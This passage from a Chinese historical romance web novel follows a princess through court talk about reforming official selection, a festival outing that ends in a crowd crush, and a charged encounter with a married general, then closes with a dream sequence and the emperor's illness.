“哦,他呀。”萧盈想起来了。姜家也算是名门,但是大雍入仕,对男子的仪容也有要求,太极殿上往下一看,有老的,但是没有丑的。据说当年就是谢太尉嫌姜川体胖貌丑,觉得他站在太极殿上都有碍观瞻,愣是没让他入仕。
萧盈笑了笑,也落一子:“你怎么想起来推荐他?”
“皇兄没听说吗?”明绰冷笑了一声,“自是他许了我好处。”
萧盈就不说话,听说呢自然是听说了,但这种事他也不会去细问,没想到明绰倒是大大方方的,居然还正儿八经来推荐姜川了。
景平三十年以来,建康一直在查各地盐务。果不其然,青州的盐匪并非孤例,查出来几个地方,都是一样的路数,盐商买通当地盐官,隐瞒课税不说,有些地方因为盐官监管不力,导致民间通行“毒盐”“假盐”,不少百姓因此丧命,黑市也屡禁不绝。
朝廷大力整治了几个月,萧盈也忍不住想了,总不能这样摁下葫芦起了瓢地挨着地方杀,肯定是哪里出了问题。盐策已开,要一下子收回来肯定是不行的,那问题还是出在那些个盐官身上。
可是盐官本来也不是随意任命的,都是朝中世家子弟。一个两个的都不行,那就不是萧盈偶尔地看走了眼,是大雍的选官制度出了问题。
大雍现在的选官主要就两条路,一条是官人法,另一条是征辟法。但官人法早已被门阀世家垄断,没点儿门路,根本评不到上品。而征辟法是朝廷从民间直接征辟有名望与才德之人,但“名望”本就需要背靠着世家才能造势——君不见当年谢太尉府上门客如云,就是这个道理了。否则高士隐于山野间,才比天高也不会被建康听说。
两条路殊途同归,还是被世家大族把控着。
明绰这两天跟萧盈细说了她在洛阳以太学选官之法,每年都有考核,考核过了以后进殿面君,再定官位。这其实是前梁时候的办法,建康也有太学,但还是同样的问题,因为世家把控,入学的子弟本就都是名门望族,这个考核也就失去了实际意义。到大雍这一代,世家们已经干脆不走这个过场了。
洛阳还能顺利施行这一套,是因为在接连的战乱和异族们的统治之下,洛阳世家凋零,而皇后招贤不问出身,从各地涌来的士人有不少寒门子弟,太学还能保证相对的公平。
萧盈要改,就得从根上改起,扩建太学,不限出身。改考核的体制,也改选官的途径。他要找个合适的人来牵头这事儿,明绰今日给了他一个名字,便是这位姜川。
萧盈微微垂下眼睛,貌似不经意地问了一句:“什么好处?”
明绰轻轻一哂,心里十分确定他早已听说了“美男献媚”一事,一边落子一边有意道:“历来买官,不是钱就是色咯,那我又不缺钱。”
萧盈果然抬眼看着她,一枚玉石似的棋子拈在他指间,迟迟不落。明绰反而含着笑问他:“你不高兴呀?”
萧盈便掩了眼中的神色,伸手落子:“都说是出了名的丑郎了,有什么色可献?”
明绰就不跟他玩笑了:“看重男子的仪容也不是坏事,但若不问才学,只以貌取人,无端地毁人前程,也不
可取。这姜川我见过了,才学,抱负,决心,一样不差。这些年他受人冷眼,最看不惯的就是世家之间勾连暧昧。他还答应了我,若是此番得到皇兄重用,便与崔氏和离——皇兄要的不就是这样的人吗?”
萧盈没抬头,只道:“为了前程便要休妻之人,能用吗?”
明绰:“他今日顾念妻子,明日就要顾念舅舅婶婶……世上本就无完人,皇兄是要皎皎君子摆着好看呢,还是想要称心得用的刀?”
萧盈便笑了一声,点了点头,只说了一句:“好。”
明绰马上把棋扔回篓里,萧盈抬起头看着她:“不下了?”
“不下了,”明绰站起来捋捋裙子,“我要出宫去赶盂兰盆会。”
这事儿提前两天她就跟萧盈说过了。萧盈看了一眼时辰:“现在就去?”
“我和楚氏说好了,要去街上多逛逛。”
“那棋呢?”
“哎呀我认输就是了!”明绰满心都已经飞到了宫外,懒得理他。
萧盈也把棋子放下,叫住她:“你先站着!”
明绰只好站住脚,萧盈又是好笑又是无奈地看着她。她如今既不是待嫁的闺中姑娘,也不是宫里的嫔妃,反而有了更多的自由,这半年没事儿就喜欢往宫外跑,什么热闹都喜欢凑,还要美其名曰“替皇兄体察民情”。萧盈本来是打算把那公主府再拖上几年,好继续留她在身边,但明绰很是迫不及待,恨不得公主府赶紧建好,她就飞出去了。
“皇兄你答应了我可以去的……”明绰脸一垮,已经委屈起来。
“朕没说不让。”萧盈摇了摇头,嘱咐了任之一声,“去把袁将军传进来。”
明绰愣了一下,哪个袁将军?可是还没问出口,袁綦已经随着传召出现在了门口,低着头,躬身向陛下行礼。
“今晚街上人多,”萧盈朝袁綦摆了摆手,“让仲宁带人护送你们去吧。”
第129章
楚恕颐在宫门口下马车,欢欢喜喜地提着裙摆去接长公主,结果看见了长身玉立站在长公主身边的夫君。那一瞬间,实在很难说三个人脸上谁的表情更难以形容。
好一会儿,明绰先上前拉了楚恕颐的手,头也没有回地就赶袁綦,不让他跟着。
袁綦没退,只道:“皇命在身,臣不敢违抗。”
楚恕颐没说话,攥着明绰的手可怜巴巴地抬头朝她看了一眼。她期待了许久的这一晚还没开始呢,就已经被毁掉了。
袁綦为了面圣,穿的是武将朝服,还配了剑。他带着的那几个城门校尉也都是差不多的打扮,走出来一看就不是寻常人。明绰没由来就是一股火,怒道:“你们穿的这样,到街上谁敢靠近?袁将军当我今晚准备做什么?特意上街去跟老百姓耍威风吗?”
袁綦让她教训得脸上一红:“臣……”
“我们先走。”明绰拉着楚恕颐就转身,“将军要跟就跟,但别让我看见!若是扰了百姓们玩乐,我定叫皇兄治你的罪!”
袁綦抬起头,看着她上了自家的马车,半晌都没反应过来。长公主为什么突然对他这样怒气冲冲的?之前一路上回来,长公主对他都挺和善的,她回宫以后,他们就没有再见过面了。难道是恕颐跟长公主说了什么吗?袁綦想起自己做的荒唐事,顿时感觉恨不得找个地缝钻进去。
楚恕颐也没想到长公主对袁綦是这个态度,一时有些被吓住了。坐到马车上还忍不住掀帘子往后看,看到袁綦愣愣地站在那里,脸都涨红了,旁边的将士们也都低着头,一个人都不敢上前问他,她就没忍住心里忐忑起来。
不管怎么样,袁綦还是她的夫君,长公主是皇家,皇家对袁家的宠辱,还是与她息息相关。
“长公主……”楚恕颐赔了个笑脸,小声地叫了明绰一声,“仲宁是不是哪里得罪了你?我替他给你赔不是了,你消消气……”
明绰看了她一眼,只觉得心还在“砰砰”跳个没完。她为什么突然对袁綦那么大的火气?楚恕颐这样说,她就更有些心虚,只好随便找了个理由:“谁要他跟着?皇兄也真是的。”
楚恕颐恍然地点了点头,原来是陛下要管着长公主,才让她不高兴了。不是针对袁家有什么不满就好,楚恕颐放心下来,朝着明绰“嘿嘿”一笑。
马车已经动了起来,楚恕颐最后掀起帘子回头看了一眼,见袁綦已经在整合属下,准备跟上。但是隔了一段距离,不敢太近。
“我都准备好啦!”楚恕颐兴致重新高起来,献宝似的把马车里的香火纸钱指给明绰看,“我们先去福光寺里祈福,他们有素斋面可以吃,吃完了就沿着河走走——河灯我也准备好了!”
明绰也被她的情绪传染,没忍住笑了出来。盂兰盆节向来热闹,但毕竟是祭祀的日子,以前宫里总会安排这样那样的仪典,她作为长公主,是不能出来与民同乐的。不过现在主持这些仪典的成了谢星娥,她不露面,皇后心里还舒坦些呢,所以今年她要出来凑这个热闹,萧盈才会一口答应。
“我听敬夫人说了,路上还会有人扮小鬼?”
“对对对!”楚恕颐笑着点头,“今晚‘鬼门大开’嘛,百姓们都会在街边烧纸施食,孤魂野鬼也可以来飨用,那些扮小鬼的也就是讨个赏。”
明绰点点头,一眼瞥见她只带了一侧的耳环,另一边却是空的。看到长公主的视线垂下来,她赶紧摸了摸空着的耳朵,有点儿不好意思:“我弄丢了一个……”
明绰笑了:“那怎么还戴着?”
楚恕颐脸都红了:“你说先戴几天别摘,肉会长起来的,我就没……”
她从前也不戴这个,没有现成的耳环可以换。长公主送的这个她喜欢,出门之前把房间里里外外都找了,就是找不着。刚送给她的东西,就丢得不成对了,她都心疼死了。
明绰看了她一会儿,伸手就把自己耳朵上的摘了下来:“来,我跟你换。”
“可我就这一个了。”
“我瞧这样只戴一个也挺好看的。”明绰笑起来,手里伸着,催促道,“快换上,不然空的那边肉长起来了,还得再穿一遍。”
那可有点儿疼。楚恕颐乖乖地把剩的那个摘下来,跟她换好。
两人说笑了一会儿,马车就到了福光寺。福光寺不像瓦官寺偏僻,就在建康最繁华的地方。今天寺中开坛布施,寺外挤得水泄不通,楚恕颐很有经验地隔了两条街就拉着明绰下了马车,让袁家的两个丫鬟抱着那些纸钱啊香火什么的,步行进了寺中。
等两人拜完,素斋面也吃饱了,再出来的时候,明绰远远地看见袁綦的身影一闪。他就带人守在寺外,谨记着长公主的话,不敢让她看见。但是一群持刀的官爷站在那儿,百姓们都绕开了走,实在是很显眼。明绰便干脆当做没看见,跟楚恕颐两个人从福光寺里出去,到街上去逛。
袁綦马上做了个手势,让校尉们跟上。
两人一路沿着水边走走停停,建康也有北边过来的行商,卖些一看就颇具胡人风尚的金银饰品。可是明绰跟一把大胡子的行商说了两句乌兰语,他却一句都答不上,最后抓起了两个“金臂钏”,讨饶似的非要送给两位贵人,赶紧送她们走。
楚恕颐看得哈哈大笑,一边往前走,一边跟明绰学说两句乌兰语。她学得不像,明绰听得好笑,楚恕颐便不好意思,再不肯开口了。明绰又赶紧哄着她,楚恕颐手里摆弄着那一掂就不是金的臂钏,突然小声说了一句:“我真羡慕……”
明绰笑了笑:“我还羡慕你呢,夫家和娘家就隔了五里地,想回家抬脚就走了。”
楚恕颐马上接话:“父亲也抬脚就把我送回去了。”
明绰听得好笑,知道她羡慕的是什么,所以也没有故作姿态地反驳。楚恕颐羡慕的是她已
经不会有机会去看的远方,也就没有没有必要去告诉她这里面有多少的酸楚和眼泪了。
两人没几步就走到了河边,找了个桥边的位置准备放河灯。楚恕颐就备了两盏,但她父母祖辈都在,实在没谁可以祭奠的。把明绰弄得哭笑不得,干脆两盏都拿过来,先在一盏上写了母亲和芸姑。
“长公主,”楚恕颐还念着刚才的话头,又问她,“你学乌兰语学了多久呀?”
“唔……三四年吧?”
“三四年就学会啦!”楚恕颐大为震惊,她以为至少要学个十几年呢。
明绰笑得更厉害:“我算笨的啦,有人只要一年就说得很好了。”
“谁呀?”
段知妘。但是明绰只是对楚恕颐笑了笑,什么也没说。第二盏河灯在手里,明绰想了想,竟不知道该写什么。她写母亲的时候都避了讳,大燕的先王,更不能直呼名讳了。他庙号太宗,谥武皇帝,可建康的水又流不到神女湖,这么写,她怕他收不到。明绰想了想,还是大逆不道地写下了“乌兰徵”三个字。
楚恕颐看着她写下来的名字:“是跟他学的吗?”
明绰笑着摇了摇头:“不是。”
她刚开始学乌兰语是跟着叱云额雅,但是叱云部跟乌兰部还是有一些差别,她的乌兰语也是后面再学的。师父不怎么样,学生就更差劲了。后来两年的时间,明绰都被遗忘在了长秋殿,学不学乌兰语,也就无人在意了。要一直等她正式做了皇后,接触了西海朝臣们,她才狠狠发了奋——那时乌兰徵常在外打仗,他们感情又好,他一回长安缠绵还来不及,哪有时间教她这个。
“他汉话说得很好,我跟他不说乌兰语。”明绰唇边还是带着笑,自己都没有意识到如今她已经可以笑着跟人提起他了,“而且我要是说错了,他会笑话我的,可讨厌了。”
楚恕颐拖长了声音“哦”了一声,竟然又说了一句:“好羡慕。”
明绰不由愣了一下:“这也羡慕?”
这不是咒袁綦呢吗?袁綦可是要上战场的人,家中定是忌讳这个的。
楚恕颐反应过来,赶紧摆了摆手:“不是不是,我,我说错了……我是羡慕,你们听起来感情就很好……”
明绰笑了笑,伸手把河灯放进了水里,往前推了推,让它顺着水慢慢地飘走了。
“也不是感情一直都很好。”明绰突然说。
楚恕颐意外地转过头:“嗯?”
“最后那两年,我一直都在生他的气。”明绰静静地看着水面上那一盏灯。天已经暗了,周围的百姓们都在放河灯,河上亮成了一片,明绰已经辨认不清哪一盏才是给乌兰徵的灯了,她好一会儿才意识到,那是因为她眼里有眼泪。她眨了眨眼,硬是把那一点泪意眨没了,才继续对楚恕颐说,“他不在了,我想起来才都是他的好。他要是还活着,可能到今天我们也已经相看两厌——比你看袁綦还讨厌。”
楚恕颐似懂非懂的,好一会儿,很轻地反驳了一句:“我不讨厌仲宁。”
这话她都不知道跟娘家、婆家解释过多少遍了。明绰转头看了她一眼,见她十分怅然地叹了口气,很是无奈的表情。
明绰试图理解一下她是什么意思:“但是,你也不喜欢他……?”
楚恕颐点了点头,然后犹豫着,又摇了摇头。明绰让她弄糊涂了,她也“哎呀”一声,似是很不喜欢说这个。
其实她不知道自己是喜欢袁綦还是不喜欢袁綦。之前她觉得袁綦是个好人,现在她觉得这一点要打个问号,可是如果外人要说袁綦不好,她应该也还是会维护一下的。确切地说,楚恕颐认为袁綦是一个也会有不好的那一面的好人。所以她一直都很困惑,照说能够和他相处,过了这么多年,应该是喜欢的咯?可她就是不想和他做那件事。她试过了,她不知道还要如何跟所有的人证明,她真的努力过了。但是所有人承诺给她的那种神魂颠倒、欲痴欲狂完全是个谎言,每一次,袁綦带给她的只有疼痛和尴尬。
袁綦喜欢她吗?她也不知道。袁綦对她有过欲望,她只知道这个,但这好像也不能说明什么。他是对自己的妻子有欲望,这个妻子是谁不重要。她和阿嫂说过这个话,阿嫂当时落了泪,因为袁煦对她似乎也是如此,所以阿嫂半生都在痛苦。但楚恕颐就是感觉不到因此而产生的痛苦,这个事实她发现了,也就接受了。这能够用来证明她对袁綦没有感情吗?但袁綦每次出征回来的时候,她看到他也是发自内心的高兴过。
楚恕颐觉得她这一生就从来没有真的理解过两个人相爱应该是什么样的,她见过爱的模样,也听过爱的传说,却始终无法想象那一切与她自己有关。
她说羡慕长公主和那位先王感情好,是认真的。她也同样羡慕过阿嫂,羡慕过崔庆英。她羡慕的是她们爱人的时候那种理所当然,羡慕这一切对她们来说如此顺理成章,不用这样孤独地去一遍一遍向所有人解释。
所以她只有很长、很长地叹出一口气,也看着河里的灯,轻声道:“感情好难呀,我弄不明白。”
明绰看了她好一会儿,突然朝她伸出了手臂。楚恕颐莫名地被她揽住了肩膀,发出了“诶?”一声,然后她就听见长公主也长长地叹了口气:“我也是。”
楚恕颐转头看了看明绰,虽然她觉得长公主的不明白跟她的不明白肯定不是一种不明白,但是听到她也这样说,楚恕颐还是觉得心里好受多了。长公主是她见过懂得最多、见识最广的女子,要是连她也有不明白的话,那就没什么了,她可以困惑得心安理得了。
两人好一会儿都没说话,就手臂挽着手臂,静静地站在水边,影子映在了水面上,被一盏一盏的飘来的河灯搅碎。四周都是百姓们念诵着超度往生的经文的声音。灯影在晃,水也在晃。风在晃,人也在晃。袁綦守在离她们五十步左右的地方,看着明绰的侧脸,看着她遥远而无声地落下了一滴泪。
第130章
建康平日宵禁,天黑以后别说街上行人,连火都不许有。今日节庆,难得放开,几乎全城的老百姓都出来了。放河灯的哀思气氛没多久就被热热闹闹的人群冲散,满大街都是出来摆摊的手艺人。楚恕颐拉着明绰,像两只翻飞的蝴蝶,一会儿在卖漆器文具的摊位前看看,一会儿又掠到了卖香囊的女子面前。
这些民间的东西也有不错的,但终究是不及宫里,明绰左看看右看看,挑中的实在不多。只看着楚恕颐连价都不讲,看中了就买。袁识已经读书习字了,这个镇纸买给他,袁博刚开始学写字,给他买个玉的臂搁,省得老把袖子弄脏,袁韶音是个大姑娘了,这些什么金簪玉
佩、香囊绣帕,都得买……
明绰在旁边问了一句:“韶音不读书写字吗?”
楚恕颐抬起头来看着她,然后“哦”了一声,又想折回去给袁韶音再补一份文具。
明绰哭笑不得地拉她:“袁府缺这些?”
“不缺啊。”楚恕颐理直气壮的,“但这是我的心意嘛,小孩子又不知道好赖,有礼物收他们就高兴了。”
“谁说小孩子不知道好赖?”明绰马上反驳她,“晔儿可识货了,青金赤珠、琉璃珊瑚,不是天竺国来的他看都不看……”
楚恕颐微微瞪大了眼睛:“长公主,我们普通人家的孩子,你怎么能拿来跟大燕天子比呢?”
明绰一时哑口无言,又看看她买的这些琳琅满目,她对袁煦的妾室生的孩子也一视同仁,都给买了,便笑道:“你倒是会疼别人家的孩子。”
楚恕颐马上很警觉地看了她一眼,看得明绰莫名其妙的:“怎么了?”
“一般这句话后面……”楚恕颐干笑了一声,“就是问我怎么还不自己生。”
明绰连连表示清白:“我可没问。”
听完桓宜华说的那些,就不用问她怎么还没生了。但这些事情太私密了,楚恕颐自己没跟她提过,她也不能说桓宜华已经说过了,别没得挑拨了她们妯娌之间的关系。明绰心虚,楚恕颐却什么都不知道,朝她笑得眼睛都眯了起来:“长公主你真好。”
她又转回去,继续挑琉璃器物,一边跟明绰传授她的心得:“别人家的孩子才好疼呢,又不用我操心管教,只是花点儿小钱,就能做大大的人情……”
明绰幡然醒悟,终于想起来自己也是有侄子侄女的人,也跟着挑起来。萧玉襄喜欢什么她不是很清楚,就照着谢星娥小时候喜欢的来就行了,凡是看着漂亮精致,最好还晶晶亮的,她都要了。给萧秧的东西倒是可以挑一挑,明绰左右张望着,没注意袁綦在不远处朝妻子招了招手。
楚恕颐困惑地指了指自己,见袁綦点头,确认是在叫她,这才走了过去。
袁綦看着她手里抱都抱不下的东西,神情十分无奈:“逛够了吧?”
楚恕颐莫名地回瞪了他一眼,抱紧:“我花的自己的钱!”
袁綦险些没让她气笑了,他几时跟她计较过这个了?
楚恕颐声音委屈地扬了个调:“都是给你的侄儿买的!”
袁綦挠了挠眉毛,好像有点儿想不通他怎么这么多的侄儿。
“不是……”这都什么跟什么,“我是让你准备送长公主回宫。”
楚恕颐微微放松了一点儿:“为什么?”
“人太多了。”袁綦皱着眉,“京兆尹那边都出动了,准备驱散商户,刚过来跟我打了招呼,一会儿乱起来,别出什么事儿……”
“这也不乱啊……”
盂兰盆会年年这么热闹,往年也没见京兆尹这么如临大敌……但楚恕颐脑子一转就明白怎么回事儿了。定是京兆尹看见袁綦带着人在街上,知道今儿个肯定是有大人物出宫了,怕出了事儿他要担责,才多此一举。
楚恕颐压低了声音:“怪不得长公主出宫的时候就不高兴呢……”
原来是料到了这些人定要多事。
袁綦不知道她在想什么,听见这话就想岔了,眉头拧得更紧,突然问:“你跟长公主说什么了?”
“什么……?”
袁綦张了张嘴,也不知道怎么问,只好有点儿不耐烦地朝她摆摆手:“行了,你赶紧去跟长公主说!”
“我去就我去嘛,这么凶干什么……”楚恕颐微微撇着嘴,嘴里小声嘀咕着,不敢让袁綦听见,但一股脑把手里那些个漆器文具琉璃杯什么的都往他怀里一丢,袁綦连声“诶”了两下,那两个袁府下人倒是很有眼力见,赶紧从他手里接了过来。楚恕颐看见她们俩,反而一愣。
“你们怎么跟来……”她转回头,迅速地在人群扫了一圈,脸色一下子变了,“长公主呢?!”
明绰没听到楚恕颐说袁綦叫她过去的那句话,已自顾自往前走出去好远,正好找到了一个有卖浑天仪的。摊主说,这东西不能真的用来观测星象,不过是木头雕出来哄孩子的玩具。她可不就是买来哄孩子的?那摊主见她貌美不凡,跟她多饶舌了两句,明绰只是笑着,干脆多给了他些钱,再一抬头,已找不到楚恕颐了。
“恕颐?”她微微扬起声音,张望着,“恕颐!”
人潮汹涌地迎面而来,就是看不到楚恕颐,连跟着的袁府下人也不见了踪影。明绰往回走了一段,偏偏斜刺里又蹦出来几个小孩子,都带着面具,穿得破破烂烂,打扮成小鬼的样子。他们都瞧见她方才买东西出手阔绰,见她落单,就围着讨赏。见她窘迫,旁边还有不少泼皮样的男人调笑。明绰只好摆出了凶巴巴的样子,把那群小孩儿都喝退了。
她正要再找楚恕颐,却只听到有人喊了一句,她甚至都没有听清楚喊的是什么,就看到街边的摊主们纷纷把自己的东西卷起来,快速移动起来。然后便是敲锣的声音远远传来,伴随着小吏拖长了声音的呼喝:“奉京兆尹令,坊巷不得聚众!即刻散去,违者杖责!”
街上的百姓们像一群惶然的羊,被锣声驱赶着,笨拙地朝同一个方向移动起来。有人没来得及收摊,东西让人踩了,正扯着嗓子嚷嚷着要赔;有人赶着牛,牛听不懂人话,犟在那里不肯动,把一片路都堵了;还有好事的,隐在人群中跟小吏顶嘴,质问京兆尹为何突然闭市……一时之间闹得不可开交。
明绰奋力地拨开人群,还想往回走。人群中像是有什么东西“嗡嗡”响着,浪一样,从另一头涌过来,然后所有人都突然加快了脚步,有人喊着“打人啦!衙爷打人啦!”同时还有更响、更急的锣声。
明绰被人推搡了好几下,手里的木质浑天仪没拿稳,滚落到地上,转眼就被踩得不像样了。她还想去捡,一只手突然伸出来拽住了她。明绰一抬头发现是袁綦,还没来得及说什么,先下意识地阻止他对百姓动粗:“别推啊!”
这人挤人的,要是被他推得摔了一跤,还不被踩死了!
可他不去推人,他们就被人推了,只这一眼的功夫,袁綦被挤得不由自主往前两步,只能两只手臂都举起来,艰难地阻止不相干的人推搡长公主。同时仗着自己身量高,快速地环视了一圈地形,然后一把揽住明绰的肩膀,带着她横刺里从人流里穿了出来,钻进了主街旁边的一条暗巷。
说是暗巷,其实也就是两户人家的墙夹出来的一条窄道,也就够他们面对面站着,空间没比他们在外面人挤人富余到哪里去。袁綦还是牢牢护着明绰,几乎就是一个把人搂进了怀里的姿势。明绰猛地推了他一把,他看起来没怎么被推动,她自己倒是往后一退,背抵在了粗糙的砖墙上。
袁綦终于想起来把手放下,往窄巷外缘退了退,稍微拉开了跟明绰的距离:“请长公主恕罪。”
“恕颐呢?”
“臣不知道。”
刚才楚恕颐先发现长公主不见了,急得撒腿就跑。京兆尹果然是个脑袋长在裤腰带上的蠢货,本来好好的,他一赶全乱了,一错眼,袁綦就看不到楚恕颐跑哪儿去了。
“你……”明绰着急把他往外赶,“那你还不快去找!”
但是袁綦动也不动:“臣职责所在,先保护长公主。”
明绰抬脚就要出这窄巷:“我去找!”
可是袁綦也不让她回到人潮里去,嘴里恭敬告罪,手却跟铁铸的似的,牢牢地握住了她的肩膀。明绰挣了两下,看他岿然不动的,只好退回去,袁綦这才放开了她。
两人一时相对无言。
好一会儿,似是为了缓解这份难堪的沉默,袁綦主动开了口:“拙荆身边还有下人跟着,不会有事。”
他不说这句还好,说了明绰更气,只是一声冷笑。什么下人,两根枯柴似的小丫头而已,在人堆里顶什么用。
袁綦顿了顿,又道:“臣手下校尉也会找到她的。”
“你才是她的夫君。”
又是一片沉默。袁綦的身量好高,几乎把明绰的视线完全遮挡住了。熙熙攘攘的人群还在喧闹推搡,锣不间断地被敲响,小吏卖力地叫骂,徒劳地试图维持秩序、驱散人群……都被他隔绝在了背后。而他低着头,用目光把她兜在没有人、也没有光的窄巷中。
他正在看她一边的耳上孤零零地挂着的那个耳环。
明绰皱起眉:“看什么?”
袁綦便把手伸进了怀里,明绰看着他把绣帕展开,手心赫然便是另一只耳环。上面一颗小小的珍珠,在暗中借着一点不知道哪里透来的光,泛出惊涛骇浪。
“这是她掉在家里的。”他的声音很轻,明绰不知道他为什么要用这么轻的声音
说话,好像怕惊到了什么,更不明白为什么他背后这样喧闹,她还是把他每个字都听得这么清楚。
“既然拙荆已经还了一个,那臣也物归原主。”
耳环静静地躺在帕中,明绰想挪开视线,眼睛却违抗她的意志,死死地盯着帕角一块突兀的颜色。她流落民间,没钱傍身,帕子用旧了也没扔。在寡妇营没找到一样颜色的线,就将就着随意补了补。回宫之前,宫里送来了最好的衣裳首饰,好让长公主能风风光光地回家,这些东西她就再也没见过了。
袁綦的手指微微蜷缩,握紧了那方帕子。耳环的尖钩刺破了绸面,抵在他的掌心。他终于在长公主的沉默里意识到自己拿出了什么。
“我……”袁綦窘迫不已。
明绰看着他:“这也是你在家中捡的吗?”
袁綦答不出话,只下意识地咽了一口唾沫。他的神态变了,从惊慌失措到鱼死网破,只是一个极快的瞬间,竟然让明绰怀疑他不是一时疏忽,而是故意拿出来,就是想让她看见,让她知道。
明绰嘶声道:“你好大的胆子。”
袁綦马上跪了下来,但他的眼睛没有移开,还是紧紧地盯着明绰。那眼神就是“鱼死网破”的,他不准备否认了,甚至都懒得找一个理由来为自己开脱。
“袁綦,”明绰微微俯身,逼近了他一点,盯紧了他的眼睛,“这是死罪,你知道吗?”
她没有权力杀武将,遑论这还是大将军的儿子,身上累着一件件实打实的军功……可是袁綦毫不怀疑,长公主要杀他的话,只要一句话就够了。
但他就是感觉不到恐惧,反而因为这威胁而感到席卷全身的战栗。他突然伸出手,抓住了明绰的衣袖一角。明绰马上把手往回抽,他也不让,就这样痴心妄想地抓着她的衣袖,头低下去,额头轻轻地抵在了她的掌心。
明绰的手指猛地颤了一下,像是被他额角的皮肤烫到。她突然仰起了脸,无声地吸了一口气,又长长地呼出来。他们就这样保持着这个怪异的姿势,直到他放开了她的袖子,但她的手还是贴在他的额角,手指很轻地,拂过了他微微汗湿的鬓角。
“你为何从来没有告诉过我,你已经婚配?”
因为他以为这显而易见到不需要特意提及。因为这不是一段他愿意挂在嘴边的美满良缘。因为他其实是一个比她所能够想象的还要更无耻的人。
“那长公主又是为何,”袁綦还是跪着,从她掌下露出了一双眼睛,看定她,“会在意臣有没有婚配呢?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
130-140
第131章
袁綦的脸很嫩,手却尤其老,手掌各处都磨了不同的茧子。明绰没有忍住想起乌兰徵的手,她知道手指根部的茧子是因为骑马持缰,也知道大拇指侧边和虎口的茧子是因为搭弓拈箭。那剩下的茧子是从哪里来的呢?她有心想问一问袁綦,可是他没有让她开口。她看不到他的手,只能感觉那些粗糙的地方带着暖意,在她身上不断逡巡流连,从腰上最细的一截开始,往下,摸到她的腿根,然后轻轻地捏了一把……
不对,这是乌兰徵喜欢的方式。
明绰想要把身上人的脸捧起来看,可是他始终埋着头。他的吻落到明绰的脖子里和胸口,明绰的手抵在他的肩膀上,隐约觉得此人该是袁綦,但是又不能确定。于是她轻轻唤了一声,那人终于从她胸前抬起了头,一双蓝眼睛幽幽地看着她,脖子里却裂出了一条大口,已经凝固的黑血像一条造型奇异的颈联,在他的皮肤上结成厚厚的痂。
“明绰,”乌兰徵张开嘴,脖子里的那条裂缝也跟着翕张,像另一张嘴,“河灯我收到了。”
“不……”明绰惊恐地伸出手,试图把他脖子里的裂口掩上。
乌兰徵还是看着她,眼睛里带着说不出的哀伤:“果然是袁綦。”
“不是,我不是……”明绰摇着头,想跟他解释,但是有个人出现在她身后,袁綦贴住了她,手从腰后环上来,放肆地在停留在她的胸口。明绰想要阻止,但只听到袁綦的声音挨在她耳边:“长公主又为何会在意呢?”
“我没有……”
“长公主?”又是一声压低了声音的轻唤。明绰猛地睁开了眼睛,看到阴青蘅手里擎着蜡烛,在床边轻轻地推她,“长公主?”
明绰一下子醒透了:“怎么了?”
“任之来了,陛下急病。”
明绰的眼睛微微睁大了。又病了?春日里那一场好了才多久?
但是她一句都没有多问,立刻掀开了身上的薄被,下床穿鞋。阴青蘅早已备好了,飞快地伺候她套了一件外衫在身上,手里提着灯笼。明绰的动作毫不停滞,往外奔的时候太着急,夜风把她没来得及穿好的衣服鼓起了一大片。任之也已经带着辇舆在殿外候着,明绰还没坐稳,几个人就抬起轿辇,快步朝含清宫而去。
等明绰到的时候,卞弘正从萧盈身上起针。也不知道他是身上难受,还是让针扎得动弹不得,整个人木木的。看见明绰一副头也没梳、衣服也没穿好就奔来的样子,他也只是面无表情地闭上了眼睛,唯独牙关轻轻地咬紧了,泄露出了一丝心绪。
“任之。”他的声音很轻,但是任之立刻跪了下去。
明绰知道他要说什么,根本没给他机会,坐到床边握住了他的手,给任之使了个眼色,让他下去,一边唤了卞弘一声:“太医令?”
她没把心里想的问出来,光是看卞弘起针的地方心里就凉了半截。她认得,那是萧盈心痛症犯的时候卞弘为他缓解的几个穴位。卞弘也不需要她问出来,沉着脸点了点头。
明绰顾不得萧盈还醒着:“这次又是为什么?”
最近根本没有什么值得萧盈大悲大怒的事情,好好的,为什么又会突然犯了旧疾?
卞弘只道:“陛下太过劳累了。”
他听了明绰的,命姜川任太学祭酒,颁布了几条新政令,要一改太学之风气。凡遇改政,必有阻力。诸事细节有姜川操劳,但很多事,要萧盈替他去担。尤其姜川一朝得意,立刻与崔庆英和离,崔家如何肯依,自是三天两头地到含清宫来聒噪。
除此以外,还有半个月前的盂兰盆会。街市上人太多,导致踩踏,死了不少人,最后是调来了城门校尉才最终疏散了人群。京兆尹上表请罪,一开始说的是香火太旺了导致走火才要驱逐人群,但这个谎言很快被长公主戳破。萧盈处置了京兆尹,下令祭祀以慰民心。朝臣中有人提议从此以后要一并取缔类似的节庆,萧盈觉得不妥,但也觉得应该想个法子防止以后再有类似的事。
他要操的心实在是太多了。
从前卞弘说,戒嗔戒怒,戒喜戒悲,就能不发作了……好,萧盈都做到了。还不够吗?现在仅仅是劳累也会犯病了么?
明绰似有责怪太医令之意,萧盈反而握了握她的手,有气无力的:“行了,下去吧。”
卞弘知道这是在跟他说话,行了一礼就退下煎药了。明绰就这么坐在床边,握着萧盈一只手,也不肯看他,只是低着头。
萧盈叹了口气:“任之怎么去把你叫来了。”
“皇兄要是想让星娥来,我这就去叫。”
这就是成心的了。萧盈轻轻地“诶”了一声,更紧地握住她的手。
“溦溦。”
他的声音太轻了,似是没什么力气。明绰抬起头看着他,一滴泪从颊边滚下来。萧盈想抬起手给她擦擦眼泪,但连这个动作都很费力气似的。明绰只好握紧着他的手,贴到了自己的颊边。
萧盈还有力气笑,好像他这么多年早就已经想开了:“真活不到……也是天命。你不要难过。”
但明绰根本不想听他说这种话:“那你怎么不趁我在大燕的时候就早点儿死?”
萧盈闻言一怔,根本没人敢这么跟他说话,明绰突然这么一句,他都不知道该怎么回答了,一时竟露出了一个无措的笑:“我……?”
“你若那时就死了,我为你哭一场就算了。至少我现在还留在大燕,留在我的儿子身边。”明绰咬牙切齿的,“你就非得逼我回来?非得让我眼睁睁看着?你凭什么把我困在这里,又想自己一死了之?”
萧盈百口莫辩:“溦溦……”
明绰根本不给他说话的机会:“你就这样报复我母后做的事吗?”
萧盈好一阵都没有说话,再开口的时候,却问了她一个问题:“你只是为了她做过的事而愧疚吗?”
